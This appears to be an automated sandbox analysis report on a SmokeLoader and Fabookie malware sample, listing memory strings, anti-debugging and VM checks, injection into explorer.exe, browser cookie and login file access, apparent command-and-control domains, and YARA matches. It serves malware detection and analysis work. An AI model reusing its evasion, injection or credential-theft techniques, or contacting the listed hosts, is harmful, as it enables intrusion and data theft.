Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ... omitting accept-charsetafter EfiGuardallocfreetracebad allocCountbad record MACbad span statebad stack sizebtc.usebsv.comcert installedchecksum errorcontent-lengthcouldn't patchdata truncateddistributor_iddriver removederror responseexit status -1file too largefinalizer waitgcstoptheworldget uptime: %wgetprotobynamegot system PIDinitial serverinternal errorinvalid syntaxis a directorykey size wronglevel 2 haltedlevel 3 haltedmemprofilerateneed more datanil elem type!no module datano such deviceobfs4proxy.exeopen event: %wparse cert: %wprotocol errorread certs: %wremove app: %wruntime: base=runtime: full=s.allocCount= semaRoot queueserver.versionstack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytimeEndPeriodtoo many linkstoo many userstorrc filenameunexpected EOFunknown code: unknown error unknown methodunknown mode: unreachable: unsafe.Pointervirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #window createdwork.full != 0x509ignoreCN=1xenservice.exezero parameter with GC prog
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: NonTransitionalNot ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePartial ContentPostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockScheduledUpdateSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUnescaped quoteUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Value is nullVirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dll
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ><'\'') = ) m=+Inf+inf, n -Inf-inf.bat.cmd.com.css.exe.gif.htm.jpg.mjs.pdf.png.svg.sys.xml0x%x1.1110803125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCDN=CESTChamDATADashDataDateEESTEULAEtagFromGOGCGoneHEADHKCCHKLMHostJulyJuneLisuMiaoModiNZDTNZSTNewaPINGPOSTQEMUROOTSASTSendStatTempThaiUUIDWEST"%s"\rss\smb\u00
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VersionVirtualWSARecvWSASend"%s" %stypes value=abortedalt -> any -> booleancharsetchunkedcmd.execonnectconsolecpu: %sderiveddriversexpiresfloat32float64gctracehttp://invalidlog.txtlookup max-agemessagenil keynop -> number panic: refererrefreshrequestrunningserial:server=signal svc_versyscalltor.exetraileruintptrunknownupgradeversionvmmousevpcuhubwaitingwsarecvwsasendwup_verxen: %wxennet6 data=%q etypes goal
Source: explorer.exe, 00000001.00000000.329124379.000000000834F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&0000006
Source: explorer.exe, 00000001.00000000.354340113.00000000059F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: underflowunhandledunzip Torunzip: %ww3m/0.5.1websocketxenevtchn} stack=[ MB goal, actual
Source: explorer.exe, 00000001.00000000.361133039.0000000008394000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: GetActiveObjectGetAdaptersInfoGetCommTimeoutsGetCommandLineWGetFirmwareTypeGetProcessTimesGetSecurityInfoGetStartupInfoWGlobal\qtxp9g8wHanifi_RohingyaICE-CONTROLLINGIdempotency-KeyImpersonateSelfInstall failureIsWow64Process2Length RequiredLoadLibraryExALoadLibraryExWNonTransitionalNot ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePartial ContentPostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockScheduledUpdateSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUnescaped quoteUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DnsRecordListFreeENHANCE_YOUR_CALMEnumThreadWindowsFLE Standard TimeFailed DependencyGC assist markingGMT Standard TimeGTB Standard TimeGetCurrentProcessGetShortPathNameWHEADER_TABLE_SIZEHKEY_CLASSES_ROOTHKEY_CURRENT_USERHTTP_1_1_REQUIREDIf-Modified-SinceIsTokenRestrictedLookupAccountSidWMESSAGE-INTEGRITYMoved PermanentlyOld_North_ArabianOld_South_ArabianOther_ID_ContinuePython-urllib/2.5QueryWorkingSetExRESERVATION-TOKENReadProcessMemoryRegLoadMUIStringWSafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenToo Many RequestsTransfer-EncodingUnexpected escapeUnified_IdeographUnknown AttributeVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseWrong CredentialsX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDNbad TinySizeClasscouldn't dial: %wcouldn't find pidcouldn't get UUIDcouldn't get pidscouldn't hide PIDcpu name is emptycreate window: %wdecryption faileddownloading proxyelectrumx.soon.itembedded/%s32.sysembedded/%s64.sysembedded/EULA.txtentersyscallblockexec format errorexec: not startedexponent overflowfile URL is emptyfractional secondgp.waiting != nilhandshake failureif-modified-sinceillegal parameterimpersonation: %win string literalindex > windowEndinteger too largeinvalid bit size invalid stream IDkey align too biglibwww-perl/5.820locked m0 woke upmark - bad statusmarkBits overflowmissing closing )missing closing ]missing extensionnil resource bodyno data availablenotetsleepg on g0permission deniedpseudo-device: %sread revision: %wreflect.Value.Capreflect.Value.Intreflect.Value.Lenreflect: New(nil)reflect: call of removing watchdogruntime.newosprocruntime: a.base= runtime: b.base= runtime: nameOff runtime: next_gc=runtime: pointer runtime: textOff runtime: typeOff s.callback is nilscanobject n == 0seek at 0x%0x: %wseeker can't seekselect (no cases)stack: frame={sp:start service: %wthread exhaustiontransfer-encodingtruncated headersunknown caller pcvalidate hash: %wwait for GC cyclewine_get_versionwrong medium type but memory size because dotdotdot to non-Go memory $SYSTEMDRIVE\Users, locked to thread298023223876953125: day out of rangeArab Standard TimeAsset %s not foundCM_MapCrToWin32ErrCaucasian_AlbanianCertGetNameStringWCloseServiceHandleCommandLineToArgvWCreateCompatibleDCCreateDispTypeInfoCreateFileMappingWCreateRemoteThreadCreateWellKnownSidCryptUnprotectDataCuba Standard TimeELinks/0.12~pre5-4EnumProcessModulesExpectation FailedFLOW_CONTROL_ERRORFiji Standard TimeGetBestInterfaceExGetComputerNameExWGetCurrentThreadIdGetExitCodeProcessGetFileAttributesWGetModuleBaseNameWGetModuleFileNameWGetModuleHandleExWGetSidSubAuthorityGetUserDefaultLCIDGetVolumePathNameWGo-http-client/1.1Go-http-client/2.0HKEY_LOCAL_MACHINEInternetSetOptionWIran Standard TimeKey path not foundLookupAccountNameWMakeSelfRelativeSDMethod Not AllowedNtSetContextThreadOmsk Standard TimePASSWORD-ALGORITHMPFXImportCertStorePermanent RedirectProxy-AuthenticateQueryServiceStatusRCodeServerFailureRFS specific errorRegional_IndicatorRoAc
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: and h_a= h_g= h_t= max= ptr siz= tab= top= u_a= u_g=%s %q%s %s%s%d%s/%s%s:%d%s=%s"'&+0330+0430+0530+0545+0630+0845+1030+1245+1345, ..., fp:-0930.html.jpeg.wasm.webp1.4.2156253.2.250001500025000350004500055000650512560015600278125:**@:path<nil>AdlamAprilAttr(BamumBatakBuhidCall CountDograECDSAErrorFlagsFoundGetDCGreekHTTP/KhmerLatinLimbuLocalLstatMarchNONCENushuOghamOriyaOsageP-224P-256P-384P-521PGDSEREALMRangeRealmRunicSTermTakriTamilTypeAUUID=\u202allowarraybad nchdirclosecsrssfalsefaultfloatgcinggeoiphttpsimap2imap3imapsint16int32int64matchmkdirmonthntohsobfs4panicparsepgdsepop3sproxyrangermdirrouterune sdsetsleepslicesockssse41sse42ssse3text/tls13tls: torrctotaluint8usageuser=utf-8valuevmusbvmx86write (MB)
Source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: main.isRunningInsideVMWare
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: acceptactivechan<-closedcookiedirectdomaindwarf.efenceempty exec: expectfamilygeoip6gopherhangupheaderip+netkilledlistenminutenumberobjectpopcntreadatreasonremoverenamerun-v3rune1 scvg: secondsecureselectsendtoserversocketsocks socks5statusstringstructsweep telnetuint16uint32uint64unuseduptimevmhgfsvmxnetvpc-s3wup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value> dying= flags= len=%d locks= m->g0= nmsys= s=nil
Source: explorer.exe, 00000001.00000000.362848209.000000000CDC8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: _VMware_SATA_CD00#5&
Source: explorer.exe, 00000001.00000000.361753241.000000000856B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: (MISSING)(unknown)+infinity, newval=, oldval=-07:00:00-infinity/api/cdn?/api/poll127.0.0.1244140625: status=; Domain=Accuracy(AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticEVEN-PORTExecQueryFindCloseForbiddenGetDIBitsHex_DigitInheritedInstMatchInstRune1InterfaceKhudawadiLocalFreeMalayalamMongolianMoveFileWNabataeanNot FoundOP_RETURNOSCaptionPalmyreneParseUintPatchTimePublisherReleaseDCRemoveAllSTUN addrSamaritanSee OtherSeptemberSundaneseSysnativeToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUse ProxyVBoxGuestVBoxMouseVBoxVideoWSASendToWednesdayWindows 7WriteFileZ07:00:00[%v = %d][:^word:][:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:]atomicor8attributeb.ooze.ccbad indirbroadcastbus errorchallengechan sendcomplex64connectexcopystackcsrss.exectxt != 0d.nx != 0ecdsa.netempty urlfn.48.orgfodhelperfork/execfuncargs(gdi32.dllimage/gifimage/pnginterfaceinterruptipv6-icmplocalhostmSpanDeadmSpanFreemulticastnew tokennil errorntdll.dllole32.dllomitemptyop_returnpanicwaitpatch.exepclmulqdqprintableprotocol proxy.exepsapi.dllraw-writereboot inrecover: reflect: rwxrwxrwxscheduledsucceededtask %+v
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: too many linkstoo many userstorrc filenameunexpected EOFunknown code: unknown error unknown methodunknown mode: unreachable: unsafe.Pointervirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #window createdwork.full != 0x509ignoreCN=1xenservice.exezero parameter with GC prog
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: RTP.exeSYSTEMROOT=SetFileTimeSignWritingSoft_DottedSystemDriveTESTING KEYTTL expiredUninstallerVBoxServiceVMUSrvc.exeVT_RESERVEDVariantInitVirtualFreeVirtualLockWSARecvFromWarang_CitiWhite_SpaceWinDefender[:^xdigit:]\dsefix.exealarm clockapplicationbad addressbad messagebad timedivbitcoins.skbroken pipecampaign_idcgocall nilclobberfreeclosesocketcombase.dllcompaign_idcreated by crypt32.dlldnsmessage.e2.keff.orgembedded/%sexternal IPfile existsfinal tokenfloat32nan2float64nan2float64nan3gccheckmarkgeneralizedget CDN: %wgetpeernamegetsocknamehttps_proxyi/o timeoutlocal errorlost mcachemSpanManualmethodargs(microsecondmillisecondmove %s: %wmswsock.dllnext servernil contextopera-proxyorannis.comout of syncparse errorprocess: %sraw-controlreflect.Setretry-afterruntime: P runtime: p scheddetailsechost.dllsecur32.dllservice: %sshell32.dllshort writestart proxytaskmgr.exetls: alert(tracealloc(traffic updunreachableuserenv.dllversion.dllversion=190wininet.dllwup_process (sensitive) [recovered] allocCount found at *( gcscandone m->gsignal= minTrigger= nDataRoots= nSpanRoots= pages/byte
Source: F5C7.exe, 00000010.00000003.506277247.0000000000595000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: bmzqhz08XeDWgZ17Tzgyg22DIHgaXWgC48nK6BOa3UjLo3qUetgdC2eqsxuGxYRssaRPmmVl/QoSW8SSBvJ6kYbaMhbu4btMTVfYPZwTK6PtZbg1oZj78GJYhoeqbVW9kTuwrBarSwAB3HqCi7cq3RW09ZhSE93V6oT2bvypRvTRem5wsNq1RTh9hguLKKXq4add0P4WQUbkdKxjCds5aX1cOlExKGpy3OnL1jyZgKrgX7YuSKYdUMy4pZCx4hGYG6MLUwbJxo1CUEt6+cVMfVo7erKXYgVJm55M/8GLsxil/Od/lwUyscGT1+h5TvTMY8t3z8uBZc+7Yey77EMWbte6VkDGfvaNRP6YvLhoThlFUpz2fOzMNsssvVFpLlMM7sPiYcBRj/xVJvYTv9qVL+Vr5hnjtrlY5L+d9WKrWauZGyqrArSHawC1ZvYkkeg0bj34ABHjsoAwysuoZaO3nvZX2UVdIFe+B0Th1hOwiHjMy47YQxtrgw35CQnS21787O37GgJtnOltjDD1rt5rxW9o2EIVg+tnl5OLaenKXezPp9aVLed09NTt52bqEut8rMrct3WSdmbi3tiprFYBbtt+fwwCkMv66KkCazedCXWRGy8pdZ4Wziy6wINeTLrGg9yQg9hbSycdR2eFN79Dp/PT42y/8ZH+P/HD9svzO3v7T5SZ5tmL11Kn/J5Jfz8q4vk09nM0O9FfXjQD67aLR09Pk6CpWM9yi/Pz9WMtutmUXDwtfNxZbWalsDY6U2BmU5eh5tZ7xy94TeboKUUY5ISk1qy1qx3DQarSOGVjUXonhhgzFbr+jNKB4R9+J0Q68PjPEPmg3RG1L8sOSIbvG8sOt70gs6qkbl5XK7CaN3xmg4kDoUp6ziOmGMNQO/MUKC/dPib2qWsWHMeuqkZrVkwsBYrdFhrleaplFJHdGaSzOLek1PjbVbJj5NmRXdTZ7CCOeiVOOLuFTy/gmIgzgQXkdUeJIUzJYmMrfJGPSigOHUcDC6ETCE8oGxRuMk1CT8M141yktHtJYm0cQRh0M4ZdbhF347Iz47GMACzBvVagpPp2YbuCs5opcNmnYEz5hMaLmj9QWoC+y/nUT0eNErzqNe4dFmxqCDl3ANI3p40jH45bQJSZhZaehn3PcoUqLZrB1dJnkiiesRX8BPnC7SNJ55C2B1yCeMSgVqVseSgy6eh1blGReXoN/4Cs17Acy54j0rau2kgRodmq0ioocgcNjRVQw+QRds1cbdcvZFvaqjrinY9jpyWOUSRxtmVov7gPB6DEqxiovmOQnjjH6+xYtwxKg4vcFOG7Pwm2yt3oKCjC+CoafPiLkbVrcAppM4K/CBdsyoG9ailH8Q0+l6yQT03XRxuDMm9thoPvTpCMwS7GjMBAMZQROcgzy5j4jzehtoYhbgg/uEiV+haxY0Y5AA3t/eWSokxoWm2a5XjuktGCie5yPQbsKBr3PoLfHgOfk4GNHABPApXYjABIUJlQVeDDAsl1K2C+CUXm+LOU50Dq6ZM0ATVCbqOO3YBGcj0dHhzknOo1FvOXXFKaJiU2MWIBG/LTtFfKuIGxSHYOnjABqgAsHEfu3OrKLnnC7CpAH9CJoEeyY8kAR7ipFJs3VDcHt5Zy0AzvPmk9VEvdFuDYjv5kWm4qr6AaxUEzYcZjPl0mUidilnhGLFYZ3CT0v4A6W4BybOMnyJsXgyZDEBms6nxmAmqFASb2a9cniFd1WShAuTwy4azZ2s7TEdmMYHqp3Q1qriAFImdAb1wPj0LK+XKeiS7aaYX8fxpchpGLJGHWazeezetpfT0VpJr1Q64QgHcMbnwZFQ23TTPL8ycERvYa+v2DGlUmLdRcUa8JvlNv5MnW63qrAoY3MIz4XFdquCuB2O8Saf5uD5XB2XhlSnr7sk3grNdoMQC7oFCiSCM8L5RJ4SH80ehgFST82YbagYP/3soq5XCV103AABO8GWOM9jzUG9pqQ65IP5GPRDu23FkMjK3Gf1kr3Gpm7V9YaGVWMT3DkRpma9uAKjugadVJIYOFY1y+6YRFe2KQ0yHIM1qIYj7zj0oSZW5Slt2VgQs8hx01yo6lDVFhiRuON0sQwcb2qNRei3qWLNNFuLdVjjUrzAJ0FHvbwSyBCVdgqWL7Ek2ZfQH2majYYubCIrUCQ2I0bzay8s4kA+AcPNbK6MV3HX0LSc5ymtbjTawsGRGFd2ulQpExVMmjfsHcEAnyDE6s9/TukwBiopsUBAA6V4PZM0sHF4NzVg/RhrGAPuvFXQq9gEMA1ZA8Toc7o7D6Bnz5z8s4kBsCyk2dh+/YI5Ql1g2oRl70R45AWYOpCIrHyOmTExLB+MVDS93CSkucWzaXeY0DP5Al7hNGcCPm7WdU6YLZycMqwaZj1RF/HiYKopVo1ap/KmxOZyAA10YTTzVoON55LbNU9qKzCFpGA5bFS1lXFYb+GJ26BO9rgqnzEqujmAAnxhsKAvzJgN/qrRqasBO2qjbfiYTSCUteopvYX52cPCAiIMPjcaCjyaS9APl/TZZjXVQd6ZDAcwLjKH7UwdHYrUTfhLM259YzFS9jjzkdsVw7SnXG/aVBu6AqxTNfh3rCwpPaxZRnkaWDCit007OnU0BV0JXUgMCxrwTl2WwFQxU/LnW/UVS0qxq8JJsmcPbrc6XK5VnbK/BnbnGz/DotlsOegmFuoYo8LmOqZDgaBhy/iy2aYdr8Lmusp/26uFlRKlPdxutXC1gAxdDbdqVd2omKChoad8tX0Sej9GwU1Jtq5eNpuONG4sea3az7wTgV0NWyPoP/OE9yx2ZG4G2M96iTcWaTL+AFYe5eM/sAbwq2vcO3FCAfoxrPvjsH0DniIfPu58il0VOhzh5F7XPCI7WuUG3huCjp72MiVzwh42IL0G8xZdVm0asB+DubEB7NDpjPN6xV5ysOu1GwtNraKnnCBTzvIxZcKEoB/DrXEFlwLsG5zEjcQjRhM6HLdpZLJkJkpUwdZpPXeAjo

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\file.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bhseufd	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\361E.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D7DE.exe

14_2_00422760

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E0D90 mov eax, dword ptr fs:[00000030h]	0_2_008E0D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E092B mov eax, dword ptr fs:[00000030h]	0_2_008E092B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ADE461 push dword ptr fs:[00000030h]	0_2_00ADE461
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00B3CA51 push dword ptr fs:[00000030h]	9_2_00B3CA51
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_025BF0A3 push dword ptr fs:[00000030h]	14_2_025BF0A3
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_026C0042 push dword ptr fs:[00000030h]	14_2_026C0042

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bhseufd	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\361E.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D7DE.exe

Code function: 14_2_00414FF0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

14_2_00414FF0

Source: C:\Users\user\AppData\Local\Temp\D7DE.exe

Code function: 14_2_025C071C rdtsc

14_2_025C071C

Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_00414FF0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_00414FF0
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_00410A90 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_00410A90
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_0040A7A0 _memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_0040A7A0

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: cucumbetuturel4.com
Source: C:\Windows\explorer.exe	Domain query: amrhomedecor.com
Source: C:\Windows\explorer.exe	Domain query: susuerulianita1.net
Source: C:\Windows\explorer.exe	Domain query: linislominyt11.at
Source: C:\Windows\explorer.exe	Domain query: i.xyzgamei.com
Source: C:\Windows\explorer.exe	Domain query: trustnero.com
Source: C:\Windows\explorer.exe	Domain query: stylesheet.faseaegasdfase.com
Source: C:\Windows\explorer.exe	Domain query: moroitomo4.net
Source: C:\Windows\explorer.exe	Domain query: fakermet.com
Source: C:\Windows\explorer.exe	Domain query: monsutiur4.com
Source: C:\Windows\explorer.exe	Domain query: nusurionuy5ff.at
Source: C:\Windows\explorer.exe	Domain query: b.game2723.com
Source: C:\Windows\explorer.exe	Domain query: nunuslushau.com
Source: C:\Windows\explorer.exe	Domain query: www.amrhomedecor.com

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: 20C0.exe.1.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bhseufd	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bhseufd	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\361E.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\361E.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\D7DE.exe

Memory written: C:\Users\user\AppData\Local\Temp\D7DE.exe base: 400000 value starts with: 4D5A

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\D7DE.exe

Code function: 14_2_026C0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

14_2_026C0110

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\file.exe	Thread created: C:\Windows\explorer.exe EIP: 4641B44	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bhseufd	Thread created: unknown EIP: 2AE1B44	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\361E.exe	Thread created: unknown EIP: 4C01A50	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D7DE.exe

Process created: C:\Users\user\AppData\Local\Temp\D7DE.exe C:\Users\user\AppData\Local\Temp\D7DE.exe

Jump to behavior

Source: explorer.exe, 00000001.00000000.349977022.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.372376342.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.319747047.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: EProgram Managerzx
Source: explorer.exe, 00000001.00000000.349977022.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.387689338.0000000005C70000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.372376342.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.349977022.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.372376342.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.319747047.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.319580202.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.349421190.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.371656970.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progmanath
Source: explorer.exe, 00000001.00000000.349977022.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.372376342.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.319747047.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D7DE.exe

Code function: 14_2_00418370 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

14_2_00418370

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 23.3.361E.exe.2470000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.361E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.361E.exe.8a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.553855101.00000000024D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.553773465.00000000024B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.393553411.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.383459492.0000000004641000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.437016536.00000000009C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.437057713.0000000000AF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.530448441.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.393656715.0000000000A51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Fabookie

Source: Yara match

File source: Process Memory Space: F5C7.exe PID: 5796, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\F5C7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F5C7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 23.3.361E.exe.2470000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.361E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.361E.exe.8a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.553855101.00000000024D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
